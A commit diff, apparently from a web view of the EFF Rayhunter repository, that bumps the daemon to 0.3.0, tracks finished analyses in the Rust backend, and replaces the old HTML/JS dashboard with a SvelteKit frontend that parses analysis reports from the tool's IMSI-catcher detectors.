* You can verify if ADB is in your PATH by running `which adb` in a terminal. If it prints the filepath to where ADB is installed, you're set! Otherwise, try following one of these guides:
* [linux](https://askubuntu.com/questions/652936/adding-android-sdk-platform-tools-to-path-downloaded-from-umake)
* [macOS](https://www.repeato.app/setting-up-adb-on-macos-a-step-by-step-guide/)
* [Windows](https://medium.com/@yadav-ajay/a-step-by-step-guide-to-setting-up-adb-path-on-windows-0b833faebf18)
### If you're on x86 linux
Install Rust the usual way and then install cross compiling dependences:
```bash
sudo apt install curl build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
rustup target add x86_64-unknown-linux-gnu
rustup target add armv7-unknown-linux-gnueabihf
```
Now you can root your device and install Rayhunter by running `./tools/install-dev.sh`
## Support and Discussion
If you're having issues installing or using Rayhunter, please open an issue in this repo. Join us in the `#rayhunter` channel of [EFF's Mattermost](https://opensource.eff.org/signup_user_complete/?id=r1b6cnta9bysxk6im3kuabiu1y&md=link&sbr=su) instance to chat!
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
*Good Hunting!*
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.2.8" version = "0.3.0"
edition = "2021" edition = "2021"
[features] [features]

Before

Width:  |  Height:  |  Size: 1.2 KiB

After

Width:  |  Height:  |  Size: 1.2 KiB

Before

Width:  |  Height:  |  Size: 88 KiB

After

Width:  |  Height:  |  Size: 88 KiB

+27 -4
View File
@@ -80,14 +80,32 @@ impl AnalysisWriter {
} }
} }
#[derive(Debug, Serialize, Clone, Default)] #[derive(Debug, Serialize, Clone)]
pub struct AnalysisStatus { pub struct AnalysisStatus {
queued: Vec<String>, queued: Vec<String>,
running: Option<String>, running: Option<String>,
finished: Vec<String>,
}
impl AnalysisStatus {
pub fn new(store: &RecordingStore) -> Self {
let existing_recordings: Vec<String> = store
.manifest
.entries
.iter()
.map(|entry| entry.name.clone())
.collect();
AnalysisStatus {
queued: Vec::new(),
running: None,
finished: existing_recordings,
}
}
} }
pub enum AnalysisCtrlMessage { pub enum AnalysisCtrlMessage {
NewFilesQueued, NewFilesQueued,
RecordingFinished(String),
Exit, Exit,
} }
@@ -103,9 +121,10 @@ async fn dequeue_to_running(analysis_status_lock: Arc<RwLock<AnalysisStatus>>) -
name name
} }
async fn clear_running(analysis_status_lock: Arc<RwLock<AnalysisStatus>>) { async fn finish_running_analysis(analysis_status_lock: Arc<RwLock<AnalysisStatus>>) {
let mut analysis_status = analysis_status_lock.write().await; let mut analysis_status = analysis_status_lock.write().await;
analysis_status.running = None; let finished = analysis_status.running.take().unwrap();
analysis_status.finished.push(finished);
} }
async fn perform_analysis( async fn perform_analysis(
@@ -191,9 +210,13 @@ pub fn run_analysis_thread(
{ {
error!("failed to analyze {}: {}", name, err); error!("failed to analyze {}: {}", name, err);
} }
clear_running(analysis_status_lock.clone()).await; finish_running_analysis(analysis_status_lock.clone()).await;
} }
} }
Some(AnalysisCtrlMessage::RecordingFinished(name)) => {
let mut status = analysis_status_lock.write().await;
status.finished.push(name);
}
Some(AnalysisCtrlMessage::Exit) | None => return, Some(AnalysisCtrlMessage::Exit) | None => return,
} }
} }
+8 -4
View File
@@ -32,7 +32,11 @@ struct Args {
verbose: bool, verbose: bool,
} }
async fn analyze_file(harness: &mut Harness, qmdl_path: &str, show_skipped: bool) { async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) {
let mut harness = Harness::new_with_all_analyzers();
if enable_dummy_analyzer {
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
}
let qmdl_file = &mut File::open(&qmdl_path).await.expect("failed to open file"); let qmdl_file = &mut File::open(&qmdl_path).await.expect("failed to open file");
let file_size = qmdl_file let file_size = qmdl_file
.metadata() .metadata()
@@ -135,12 +139,12 @@ async fn main() {
.with_level(level) .with_level(level)
.init() .init()
.unwrap(); .unwrap();
info!("Analyzers:");
let mut harness = Harness::new_with_all_analyzers(); let mut harness = Harness::new_with_all_analyzers();
if args.enable_dummy_analyzer { if args.enable_dummy_analyzer {
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 })); harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
} }
info!("Analyzers:");
for analyzer in harness.get_metadata().analyzers { for analyzer in harness.get_metadata().analyzers {
info!(" - {}: {}", analyzer.name, analyzer.description); info!(" - {}: {}", analyzer.name, analyzer.description);
} }
@@ -156,7 +160,7 @@ async fn main() {
if name_str.ends_with(".qmdl") { if name_str.ends_with(".qmdl") {
let path = entry.path(); let path = entry.path();
let path_str = path.to_str().unwrap(); let path_str = path.to_str().unwrap();
analyze_file(&mut harness, path_str, args.show_skipped).await; analyze_file(args.enable_dummy_analyzer, path_str, args.show_skipped).await;
if args.pcapify { if args.pcapify {
pcapify(&path).await; pcapify(&path).await;
} }
@@ -164,7 +168,7 @@ async fn main() {
} }
} else { } else {
let path = args.qmdl_path.to_str().unwrap(); let path = args.qmdl_path.to_str().unwrap();
analyze_file(&mut harness, path, args.show_skipped).await; analyze_file(args.enable_dummy_analyzer, path, args.show_skipped).await;
if args.pcapify { if args.pcapify {
pcapify(&args.qmdl_path).await; pcapify(&args.qmdl_path).await;
} }
+4 -2
View File
@@ -172,7 +172,9 @@ async fn main() -> Result<(), RayhunterError> {
let task_tracker = TaskTracker::new(); let task_tracker = TaskTracker::new();
println!("R A Y H U N T E R 🐳"); println!("R A Y H U N T E R 🐳");
let qmdl_store_lock = Arc::new(RwLock::new(init_qmdl_store(&config).await?)); let store = init_qmdl_store(&config).await?;
let analysis_status = AnalysisStatus::new(&store);
let qmdl_store_lock = Arc::new(RwLock::new(store));
let (tx, rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1); let (tx, rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1); let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5); let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
@@ -201,7 +203,7 @@ async fn main() -> Result<(), RayhunterError> {
} }
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>(); let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
info!("create shutdown thread"); info!("create shutdown thread");
let analysis_status_lock = Arc::new(RwLock::new(AnalysisStatus::default())); let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
run_analysis_thread( run_analysis_thread(
&task_tracker, &task_tracker,
analysis_rx, analysis_rx,
+25 -8
View File
@@ -17,7 +17,7 @@ use tokio::sync::RwLock;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use crate::analysis::AnalysisWriter; use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
use crate::display; use crate::display;
use crate::qmdl_store::{RecordingStore, RecordingStoreError}; use crate::qmdl_store::{RecordingStore, RecordingStoreError};
use crate::server::ServerState; use crate::server::ServerState;
@@ -169,6 +169,23 @@ pub async fn stop_recording(
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let mut qmdl_store = state.qmdl_store_lock.write().await; let mut qmdl_store = state.qmdl_store_lock.write().await;
match qmdl_store.get_current_entry() {
Some((_, entry)) => {
state
.analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send AnalysisCtrlMessage: {}", e),
)
})?;
}
None => todo!(),
}
qmdl_store.close_current_entry().await.map_err(|e| { qmdl_store.close_current_entry().await.map_err(|e| {
( (
StatusCode::INTERNAL_SERVER_ERROR, StatusCode::INTERNAL_SERVER_ERROR,
@@ -250,13 +267,6 @@ pub async fn delete_all_recordings(
if state.debug_mode { if state.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let mut qmdl_store = state.qmdl_store_lock.write().await;
qmdl_store.delete_all_entries().await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't delete all recordings: {}", e),
)
})?;
state state
.diag_device_ctrl_sender .diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StopRecording) .send(DiagDeviceCtrlMessage::StopRecording)
@@ -267,6 +277,13 @@ pub async fn delete_all_recordings(
format!("couldn't send stop recording message: {}", e), format!("couldn't send stop recording message: {}", e),
) )
})?; })?;
let mut qmdl_store = state.qmdl_store_lock.write().await;
qmdl_store.delete_all_entries().await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't delete all recordings: {}", e),
)
})?;
state state
.ui_update_sender .ui_update_sender
.send(display::DisplayState::Paused) .send(display::DisplayState::Paused)
+1 -1
View File
@@ -134,7 +134,7 @@ pub fn update_ui(
mut ui_shutdown_rx: oneshot::Receiver<()>, mut ui_shutdown_rx: oneshot::Receiver<()>,
mut ui_update_rx: Receiver<DisplayState>, mut ui_update_rx: Receiver<DisplayState>,
) { ) {
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/static/images/"); static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
let display_level = config.ui_level; let display_level = config.ui_level;
if display_level == 0 { if display_level == 0 {
info!("Invisible mode, not spawning UI."); info!("Invisible mode, not spawning UI.");
+2 -34
View File
@@ -6,7 +6,6 @@ use axum::http::{HeaderValue, StatusCode};
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use include_dir::{include_dir, Dir}; use include_dir::{include_dir, Dir};
use std::sync::Arc; use std::sync::Arc;
use tokio::fs::File;
use tokio::io::AsyncReadExt; use tokio::io::AsyncReadExt;
use tokio::sync::mpsc::Sender; use tokio::sync::mpsc::Sender;
use tokio::sync::RwLock; use tokio::sync::RwLock;
@@ -53,46 +52,15 @@ pub async fn get_qmdl(
} }
// Bundles the server's static files (html/css/js) into the binary for easy distribution // Bundles the server's static files (html/css/js) into the binary for easy distribution
static STATIC_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/static"); static STATIC_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/web/build");
pub async fn serve_static( pub async fn serve_static(
State(state): State<Arc<ServerState>>, State(_): State<Arc<ServerState>>,
Path(path): Path<String>, Path(path): Path<String>,
) -> impl IntoResponse { ) -> impl IntoResponse {
let path = path.trim_start_matches('/'); let path = path.trim_start_matches('/');
let mime_type = mime_guess::from_path(path).first_or_text_plain(); let mime_type = mime_guess::from_path(path).first_or_text_plain();
// if we're in debug mode, return the files from the build directory so we
// don't have to rebuild every time the JS/HTML change
if state.debug_mode {
let mut build_path = std::path::PathBuf::new();
build_path.push("bin");
build_path.push("static");
for part in path.split("/") {
build_path.push(part);
}
return match File::open(build_path).await {
Ok(mut file) => {
let mut body = String::new();
file.read_to_string(&mut body)
.await
.expect("failed to read file");
Response::builder()
.status(StatusCode::OK)
.header(
header::CONTENT_TYPE,
HeaderValue::from_str(mime_type.as_ref()).unwrap(),
)
.body(Body::from(body))
.unwrap()
}
Err(_) => Response::builder()
.status(StatusCode::NOT_FOUND)
.body(Body::empty())
.unwrap(),
};
}
match STATIC_DIR.get_file(path) { match STATIC_DIR.get_file(path) {
None => Response::builder() None => Response::builder()
.status(StatusCode::NOT_FOUND) .status(StatusCode::NOT_FOUND)
+3
View File
@@ -7,6 +7,7 @@ use axum::extract::State;
use axum::http::StatusCode; use axum::http::StatusCode;
use axum::Json; use axum::Json;
use log::error; use log::error;
use rayhunter::util::RuntimeMetadata;
use serde::Serialize; use serde::Serialize;
use tokio::process::Command; use tokio::process::Command;
@@ -14,6 +15,7 @@ use tokio::process::Command;
pub struct SystemStats { pub struct SystemStats {
pub disk_stats: DiskStats, pub disk_stats: DiskStats,
pub memory_stats: MemoryStats, pub memory_stats: MemoryStats,
pub runtime_metadata: RuntimeMetadata,
} }
impl SystemStats { impl SystemStats {
@@ -21,6 +23,7 @@ impl SystemStats {
Ok(Self { Ok(Self {
disk_stats: DiskStats::new(qmdl_path).await?, disk_stats: DiskStats::new(qmdl_path).await?,
memory_stats: MemoryStats::new().await?, memory_stats: MemoryStats::new().await?,
runtime_metadata: RuntimeMetadata::new(),
}) })
} }
} }
-45
View File
@@ -1,45 +0,0 @@
td,
th {
border: 1px solid rgb(190, 190, 190);
padding: 10px;
}
td {
text-align: center;
}
tr:nth-child(even) {
background-color: #eee;
}
th[scope='col'] {
background-color: #696969;
color: #fff;
}
th[scope='row'] {
background-color: #d7d9f2;
}
tr.current {
background-color: #53fe7b;
font-weight: bold;
}
tr.warning {
background-color: #fe537b;
font-weight: bold;
}
caption {
padding: 10px;
caption-side: bottom;
}
table {
border-collapse: collapse;
border: 2px solid rgb(200, 200, 200);
letter-spacing: 1px;
font-family: sans-serif;
font-size: 0.8rem;
}
-46
View File
@@ -1,46 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>rayhunter</title>
<link rel="stylesheet" type="text/css" href="css/style.css">
<script src="js/main.js"></script>
<script>
async function repeatedlyPopulate() {
await populateDivs();
setTimeout(repeatedlyPopulate, 1000);
}
window.onload = function() {
repeatedlyPopulate();
}
</script>
</head>
<body>
<div>
<button onclick="startRecording()">Start Recording</button>
<button onclick="stopRecording()">Stop Recording</button>
<button onclick="deleteAllRecodings()">Delete All Recordings</button>
</div>
<table id="qmdl-manifest-table">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Date Started</th>
<th scope="col">Date of Last Message</th>
<th scope="col">Size (bytes)</th>
<th scope="col">PCAP</th>
<th scope="col">QMDL</th>
<th scope="col">Analysis Result</th>
<th scope="col">Actions</th>
</tr>
</thead>
</table>
<div>
<h3>Live System stats</h3>
<pre id="system-stats">Loading...</pre>
</div>
<div>
<h3>Analysis Report of Current Capture</h3>
<pre id="analysis-report">Loading...</pre>
</div>
</body>
</html>
-235
View File
@@ -1,235 +0,0 @@
const STATUS_RUNNING = 'running';
const STATUS_QUEUED = 'queued';
const STATUS_NEEDS_UPDATE = 'needs-update';
const STATUS_COMPLETE = 'complete';
async function populateDivs() {
const systemStats = await getSystemStats();
const systemStatsDiv = document.getElementById('system-stats');
systemStatsDiv.innerHTML = JSON.stringify(systemStats, null, 2);
const analysisReportDiv = document.getElementById('analysis-report');
try {
const analysisReport = await getAnalysisReport('live');
analysisReportDiv.innerHTML = JSON.stringify(analysisReport, null, 2);
} catch (e) {
analysisReportDiv.innerHTML = e.toString();
}
const qmdlManifest = await getQmdlManifest();
await updateAnalysisStatus(qmdlManifest);
await updateAnalysisResults(qmdlManifest);
updateQmdlManifestTable(qmdlManifest);
}
function setStatus(qmdlManifest, name, status) {
// ignore qmdlManifest.current_entry, it's always running
for (const entry of qmdlManifest.entries) {
if (entry.name === name) {
entry['status'] = status;
return;
}
}
}
async function updateAnalysisStatus(qmdlManifest) {
const status = JSON.parse(await req('GET', '/api/analysis'));
if (status.running) {
setStatus(qmdlManifest, status.running, STATUS_RUNNING);
}
for (const queued in status.queued) {
setStatus(qmdlManifest, queued, STATUS_QUEUED);
}
}
function parseNewlineDelimitedJSON(inputStr) {
const lines = inputStr.split('\n');
const result = [];
let currentLine = '';
while (lines.length > 0) {
currentLine += lines.shift();
try {
const entry = JSON.parse(currentLine);
result.push(entry);
currentLine = '';
// if this chunk wasn't valid JSON, there was an escaped newline in the
// JSON line, so simply continue to the next one
} catch (e) {}
}
return result;
}
async function updateEntryAnalysisResult(entry) {
entry.analysis = {
warnings: [],
};
const report = parseNewlineDelimitedJSON(await req('GET', `/api/analysis-report/${entry.name}`));
for (const row of report) {
if (row["analysis"]) {
const timestamp = new Date(row["timestamp"]);
const analysis = row["analysis"];
for (const warning of analysis) {
entry.analysis.warnings.push({
timestamp,
warning,
})
}
}
}
if (entry.analysis.warnings.length === 0) {
entry.analysis_result = `0 warnings!`;
} else {
entry.analysis_result = `!!! ${entry.analysis.warnings.length} warnings !!!`;
for (const warning of entry.analysis.warnings) {
for (const event of warning.warning.events) {
if (event === null) continue;
msg = `${warning.timestamp}: ${event.message}`
entry.analysis_result += `<br>${msg}`
}
}
}
}
async function updateAnalysisResults(qmdlManifest) {
if (qmdlManifest.current_entry) {
await updateEntryAnalysisResult(qmdlManifest.current_entry);
}
for (const entry of qmdlManifest.entries) {
if (entry.status === STATUS_NEEDS_UPDATE) {
await updateEntryAnalysisResult(entry);
entry.status = STATUS_COMPLETE;
}
}
}
function updateQmdlManifestTable(manifest) {
const table = document.getElementById('qmdl-manifest-table');
const numRows = table.rows.length;
for (let i=1; i<numRows; i++) {
table.deleteRow(1);
}
if (manifest.current_entry) {
const row = createEntryRow(manifest.current_entry, true);
row.classList.add('current');
table.appendChild(row)
}
for (let entry of manifest.entries) {
table.appendChild(createEntryRow(entry), false);
}
}
function createLink(uri, text) {
const link = document.createElement('a');
link.href = uri;
link.innerText = text;
return link;
}
function createButton(uri, text) {
const link = document.createElement('button');
link.innerText = text;
link.onclick = async () => {
await req('POST', uri);
populateDivs();
};
return link;
}
function createEntryRow(entry, isCurrent) {
const row = document.createElement('tr');
const name = document.createElement('th');
name.scope = 'row';
name.innerText = entry.name;
row.appendChild(name);
for (const key of ['start_time', 'last_message_time', 'qmdl_size_bytes']) {
const td = document.createElement('td');
td.innerText = entry[key];
row.appendChild(td);
}
const pcapTd = document.createElement('td');
pcapTd.appendChild(createLink(`/api/pcap/${entry.name}`, 'pcap'));
row.appendChild(pcapTd);
const qmdlTd = document.createElement('td');
qmdlTd.appendChild(createLink(`/api/qmdl/${entry.name}.qmdl`, 'qmdl'));
row.appendChild(qmdlTd);
const analysisResult = document.createElement('td');
analysisResult.innerHTML = entry.analysis_result;
if (entry.analysis.warnings.length > 0) {
row.classList.add("warning");
}
row.appendChild(analysisResult);
const actionsButtons = document.createElement('td');
actionsButtons.appendChild(createButton(`/api/delete-recording/${entry.name}`, 'Delete'));
row.appendChild(actionsButtons);
return row;
}
async function getAnalysisReport(name) {
const rows = await req('GET', `/api/analysis-report/${name}`);
return rows.split('\n')
.filter(row => row.length > 0)
.map(row => JSON.parse(row));
}
async function getSystemStats() {
return JSON.parse(await req('GET', '/api/system-stats'));
}
async function getQmdlManifest() {
const manifest = JSON.parse(await req('GET', '/api/qmdl-manifest'));
if (manifest.current_entry) {
parseQmdlEntry(manifest.current_entry);
}
for (entry of manifest.entries) {
parseQmdlEntry(entry);
}
// sort them in reverse chronological order
manifest.entries.reverse();
return manifest;
}
function parseQmdlEntry(entry) {
entry.status = STATUS_NEEDS_UPDATE;
entry.analysis_result = 'Waiting...';
entry.start_time = new Date(entry.start_time);
if (entry.last_message_time === null) {
entry.last_message_time = "N/A";
} else {
entry.last_message_time = new Date(entry.last_message_time);
}
}
async function startRecording() {
await req('POST', '/api/start-recording');
populateDivs();
}
async function stopRecording() {
await req('POST', '/api/stop-recording');
populateDivs();
}
async function deleteAllRecodings() {
if (window.confirm("Are you sure you want to permanently delete all of your recordings?")) {
await req('POST', '/api/delete-all-recordings');
populateDivs();
}
}
async function req(method, url) {
const response = await fetch(url, {
method: method,
});
const body = await response.text();
if (response.status >= 200 && response.status < 300) {
return body;
} else {
throw new Error(body);
}
}
+24
View File
@@ -0,0 +1,24 @@
node_modules
# Output
.output
.vercel
/.svelte-kit
/build
# OS
.DS_Store
Thumbs.db
# Env
.env
.env.*
!.env.example
!.env.test
# Vite
vite.config.js.timestamp-*
vite.config.ts.timestamp-*
package-lock.json
yarn.lock
+1
View File
@@ -0,0 +1 @@
engine-strict=true
+4
View File
@@ -0,0 +1,4 @@
# Package Managers
package-lock.json
pnpm-lock.yaml
yarn.lock
+17
View File
@@ -0,0 +1,17 @@
{
"useTabs": true,
"singleQuote": true,
"trailingComma": "none",
"printWidth": 100,
"plugins": [
"prettier-plugin-svelte"
],
"overrides": [
{
"files": "*.svelte",
"options": {
"parser": "svelte"
}
}
]
}
+33
View File
@@ -0,0 +1,33 @@
import prettier from "eslint-config-prettier";
import js from '@eslint/js';
import svelte from 'eslint-plugin-svelte';
import globals from 'globals';
import ts from 'typescript-eslint';
export default ts.config(
js.configs.recommended,
...ts.configs.recommended,
...svelte.configs["flat/recommended"],
prettier,
...svelte.configs['flat/prettier'],
{
languageOptions: {
globals: {
...globals.browser,
...globals.node
}
}
},
{
files: ["**/*.svelte"],
languageOptions: {
parserOptions: {
parser: ts.parser
}
}
},
{
ignores: ["build/", ".svelte-kit/", "dist/"]
}
);
+37
View File
@@ -0,0 +1,37 @@
{
"name": "web",
"version": "0.0.1",
"type": "module",
"scripts": {
"dev": "vite dev",
"build": "vite build",
"preview": "vite preview",
"check": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json",
"check:watch": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json --watch",
"test:unit": "vitest",
"test": "npm run test:unit -- --run",
"format": "prettier --write .",
"lint": "prettier --check . && eslint ."
},
"devDependencies": {
"@sveltejs/adapter-auto": "^3.0.0",
"@sveltejs/adapter-static": "^3.0.5",
"@sveltejs/kit": "^2.0.0",
"@sveltejs/vite-plugin-svelte": "^4.0.0",
"@types/eslint": "^9.6.0",
"autoprefixer": "^10.4.20",
"eslint": "^9.7.0",
"eslint-config-prettier": "^9.1.0",
"eslint-plugin-svelte": "^2.36.0",
"globals": "^15.0.0",
"prettier": "^3.3.2",
"prettier-plugin-svelte": "^3.2.6",
"svelte": "^5.0.0",
"svelte-check": "^4.0.0",
"tailwindcss": "^3.4.9",
"typescript": "^5.0.0",
"typescript-eslint": "^8.0.0",
"vite": "^5.0.3",
"vitest": "^2.0.4"
}
}
+6
View File
@@ -0,0 +1,6 @@
export default {
plugins: {
tailwindcss: {},
autoprefixer: {}
}
};
+3
View File
@@ -0,0 +1,3 @@
@import "tailwindcss/base";
@import "tailwindcss/components";
@import "tailwindcss/utilities"
+13
View File
@@ -0,0 +1,13 @@
// See https://svelte.dev/docs/kit/types#app
// for information about these interfaces
declare global {
namespace App {
// interface Error {}
// interface Locals {}
// interface PageData {}
// interface PageState {}
// interface Platform {}
}
}
export {};
+12
View File
@@ -0,0 +1,12 @@
<!doctype html>
<html lang="en" data-theme="dark">
<head>
<meta charset="utf-8" />
<link rel="icon" href="%sveltekit.assets%/favicon.png" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
%sveltekit.head%
</head>
<body data-sveltekit-preload-data="hover">
<div style="display: contents">%sveltekit.body%</div>
</body>
</html>
+45
View File
@@ -0,0 +1,45 @@
import { describe, it, expect } from 'vitest';
import { EventType, parse_finished_report, Severity, type QualitativeWarning } from './analysis.svelte';
import { parse_ndjson, type NewlineDeliminatedJson } from './ndjson';
const SAMPLE_REPORT_NDJSON: NewlineDeliminatedJson = [
{ "analyzers": [{ "name": "LTE SIB 6/7 Downgrade", "description": "Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities." }, { "name": "IMSI Provided", "description": "Tests whether the UE's IMSI was ever provided to the cell" }, { "name": "Null Cipher", "description": "Tests whether the cell suggests using a null cipher (EEA0)" }, { "name": "Example Analyzer", "description": "Always returns true, if you are seeing this you are either a developer or you are about to have problems." }] },
{ "timestamp": "2024-10-08T13:25:43.011689003-07:00", "skipped_message_reasons": ["DecodingError(UperDecodeError(Error { cause: BufferTooShort, msg: \"PerCodec:DecodeError:Requested Bits to decode 3, Remaining bits 1\", context: [] }))"], "analysis": [] },
{ "timestamp": "2024-10-08T13:25:43.480872496-07:00", "skipped_message_reasons": [], "analysis": [{ "timestamp": "2024-08-19T03:33:54.318Z", "events": [null, null, null, { "event_type": { "type": "QualitativeWarning", "severity": "Low" }, "message": "TMSI was provided to cell" }] }] },
];
describe('analysis report parsing', () => {
it('parses the example analysis', () => {
const report = parse_finished_report(SAMPLE_REPORT_NDJSON);
expect(report.metadata.analyzers).toEqual([
{
"name":"LTE SIB 6/7 Downgrade",
"description":"Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities.",
},
{
"name":"IMSI Provided",
"description":"Tests whether the UE's IMSI was ever provided to the cell",
},
{
"name":"Null Cipher",
"description":"Tests whether the cell suggests using a null cipher (EEA0)",
},
{
"name":"Example Analyzer",
"description":"Always returns true, if you are seeing this you are either a developer or you are about to have problems.",
}
]);
expect(report.rows).toHaveLength(2);
expect(report.rows[0].skipped_message_reasons).toHaveLength(1);
expect(report.rows[0].analysis).toHaveLength(0);
expect(report.rows[1].skipped_message_reasons).toHaveLength(0);
expect(report.rows[1].analysis).toHaveLength(1);
expect(report.rows[1].analysis[0].events).toHaveLength(1);
const event = report.rows[1].analysis[0].events[0];
if (event.type === EventType.Warning) {
expect(event.severity).toEqual(Severity.Low);
} else {
throw 'wrong event type';
}
});
});
+118
View File
@@ -0,0 +1,118 @@
import { parse_ndjson, type NewlineDeliminatedJson } from "./ndjson";
import { req } from "./utils.svelte";
export type AnalysisReport = {
metadata: ReportMetadata;
rows: AnalysisRow[];
statistics: ReportStatistics;
};
export type ReportStatistics = {
num_warnings: number;
num_informational_logs: number;
num_skipped_packets: number;
}
export type ReportMetadata = {
analyzers: AnalyzerMetadata[];
rayhunter: RayhunterMetadata;
};
export type RayhunterMetadata = {
rayhunter_version: string;
system_os: string;
arch: string;
};
export type AnalyzerMetadata = {
name: string;
description: string;
};
export type AnalysisRow = {
timestamp: Date;
skipped_message_reasons: string[];
analysis: PacketAnalysis[];
};
export type PacketAnalysis = {
timestamp: Date;
events: Event[];
};
export type Event = QualitativeWarning | InformationalEvent;
export enum EventType {
Informational,
Warning,
}
export type QualitativeWarning = {
type: EventType.Warning;
severity: Severity;
message: string;
};
export enum Severity {
Low,
Medium,
High,
}
export type InformationalEvent = {
type: EventType.Informational;
message: string;
};
export function parse_finished_report(report_json: NewlineDeliminatedJson): AnalysisReport {
const metadata: ReportMetadata = report_json[0]; // this can be cast directly
let num_warnings = 0;
let num_informational_logs = 0;
let num_skipped_packets = 0;
const rows: AnalysisRow[] = report_json.slice(1).map((row_json: any) => {
const analysis: PacketAnalysis[] = row_json.analysis.map((analysis_json: any) => {
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
if (event_json === null) {
return null;
} else if (event_json.event_type === "Informational") {
num_informational_logs += 1;
return {
type: EventType.Informational,
message: event_json.message,
};
} else {
num_warnings += 1;
return {
type: EventType.Warning,
severity: event_json.severity === "High" ? Severity.High :
event_json.severity === "Medium" ? Severity.Medium : Severity.Low,
message: event_json.message,
};
}
})
.filter((maybe_event: Event | null) => maybe_event !== null);
return {
timestamp: analysis_json.timestamp,
events,
};
});
num_skipped_packets += row_json.skipped_message_reasons.length;
return {
timestamp: new Date(row_json.timestamp),
skipped_message_reasons: row_json.skipped_message_reasons,
analysis,
};
});
return {
statistics: {
num_informational_logs,
num_warnings,
num_skipped_packets,
},
metadata,
rows,
};
}
export async function get_report(name: string): Promise<AnalysisReport> {
const report_json = parse_ndjson(await req('GET', `/api/analysis-report/${name}`));
return parse_finished_report(report_json);
}
+63
View File
@@ -0,0 +1,63 @@
import { get_report, type AnalysisReport } from "./analysis.svelte";
import type { Manifest, ManifestEntry } from "./manifest.svelte";
import { req } from "./utils.svelte";
export enum AnalysisStatus {
// rayhunter is currently analyzing this entry (note that this is distinct
// from the currently-recording entry)
Running,
// this entry is queued to be analyzed
Queued,
// analysis is finished, and the new report can be accessed
Finished,
}
type AnalysisStatusJson = {
running: string | null;
queued: string[];
finished: string[];
};
export type AnalysisResult = {
name: string,
status: AnalysisStatus,
};
export class AnalysisManager {
public status: Map<string, AnalysisStatus> = new Map();
public reports: Map<string, AnalysisReport | string> = new Map();
public async run_analysis(name: string) {
await req('POST', `/api/analysis/${name}`);
this.status.set(name, AnalysisStatus.Queued);
this.reports.delete(name);
}
public async update() {
const status: AnalysisStatusJson = JSON.parse(await req('GET', '/api/analysis'));
if (status.running) {
this.status.set(status.running, AnalysisStatus.Running);
}
for (const entry of status.queued) {
this.status.set(entry, AnalysisStatus.Queued);
}
for (const entry of status.finished) {
// if entry was already finished, nothing to do
if (this.status.get(entry) === AnalysisStatus.Finished) {
continue;
}
this.status.set(entry, AnalysisStatus.Finished);
// fetch the analysis report
this.reports.delete(entry);
get_report(entry).then(report => {
this.reports.set(entry, report);
}).catch(err => {
this.reports.set(entry, `Failed to get analysis: ${err}`);
});
}
}
}
@@ -0,0 +1,52 @@
<script lang="ts">
import { AnalysisStatus } from "$lib/analysisManager.svelte";
import { EventType } from "$lib/analysis.svelte";
import type { ManifestEntry } from "$lib/manifest.svelte";
let { entry, onclick }: {
entry: ManifestEntry,
onclick: () => void,
} = $props();
let summary = $derived.by(() => {
if (entry.analysis_status === AnalysisStatus.Queued) {
return 'Queued...';
} else if (entry.analysis_status === AnalysisStatus.Running) {
return 'Running...';
} else if (entry.analysis_status === AnalysisStatus.Finished) {
if (entry.analysis_report === undefined) {
return 'Loading...';
} else if (typeof(entry.analysis_report) === 'string') {
return entry.analysis_report;
} else {
let num_warnings = 0;
for (let row of entry.analysis_report.rows) {
for (let analysis of row.analysis) {
for (let event of analysis.events) {
if (event.type === EventType.Warning) {
num_warnings += 1;
}
}
}
}
return `${num_warnings} warnings`;
}
} else {
return 'Loading...';
}
});
let ready = $derived.by(() => {
